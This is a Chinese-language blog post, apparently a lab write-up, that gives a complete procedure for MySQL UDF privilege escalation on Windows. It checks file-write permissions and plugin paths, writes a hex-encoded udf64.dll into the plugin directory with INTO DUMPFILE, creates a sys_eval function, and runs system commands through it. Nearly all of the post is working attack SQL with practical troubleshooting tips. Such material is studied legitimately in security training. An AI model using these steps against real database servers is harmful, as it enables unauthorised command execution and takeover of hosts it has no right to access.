Windows机器的udf提权
  dXbHQiWzrEPy 2023年11月02日 69 0

前提条件

(1)需要拿到mysql的权限

(2)mysql有写入文件的权限

实验步骤

(1)拿到数据库操作页面

(2)查询mysql版本,不同版本dll文件位置不同

select version();

(3)查询是否有写入文件权限

show variables like "%secure%";

(4)查询plugin文件路径

show variables like "%plugin%";

(5)将udf文件内容转换成16进制

select hex(load_file('C:\\udf64.dll')) into dumpfile 'c:\\udf64.txt'

(6)将本地udf64.dll文件以16进制数据上传到远程机器

当mysql版本大于5.1时需要上传到远程机器mysql\lib\plugin\udf64.dll中

SELECT 0x(16位数据) into dumpfile 'D:\\phpstudy_pro\\Extensions\\MySQL5.7.26\\lib\\plugin\\udf64.dll';

当mysql版本大于5.0小于5.1时是按照dll加载顺序来加载dll文件,顺序是:

(1)可执行文件目录

(2)C:\Windows\System32

(3)C:\Windows\System

(4)C:\Windows

(5)PATH环境变量中列出的目录

(7)创建函数

create function sys_eval returns string soname 'udf64.dll';

如果失败,报错:Can't open shared library 'udf.dll',可能是因为mysql是32位或64位,与udf文件不匹配。成功入坑。牢记牢记。

查看mysql是32位还是64位

这里是64位的

(8)执行命令

select sys_eval("whoami");

这里提权,是提升到运行mysql服务的用户权限,如果mysql服务是以mysql用户运行的,那么提升到的权限也就是mysql,如果mysql服务是以administrator或者system运行,那么自然就提升到administrator或者system用户。

(9)删除函数

drop function sys_eval;

(10)查看udf函数

select * from mysql.func;
【版权声明】本文内容来自摩杜云社区用户原创、第三方投稿、转载,内容版权归原作者所有。本网站的目的在于传递更多信息,不拥有版权,亦不承担相应法律责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@moduyun.com

  1. 分享:
最后一次编辑于 2023年11月08日 0

暂无评论

推荐阅读
  5NWiQFAVeqgX   2024年05月17日   34   0   0 网络安全
  pTtIhLb24H2d   2024年05月17日   35   0   0 网络安全
  OKgNPeBk991j   2024年05月18日   47   0   0 网络安全
  rKgO6TN7xbYO   2024年05月17日   40   0   0 网络安全
  5NWiQFAVeqgX   2024年05月17日   53   0   0 网络安全
  5NWiQFAVeqgX   2024年05月17日   36   0   0 网络安全
  YOkriIV1Am1d   2024年05月20日   40   0   0 网络安全
  owpmXY9hzjPv   2024年05月20日   40   0   0 网络安全
  owpmXY9hzjPv   2024年05月20日   42   0   0 网络安全
  owpmXY9hzjPv   2024年05月20日   35   0   0 网络安全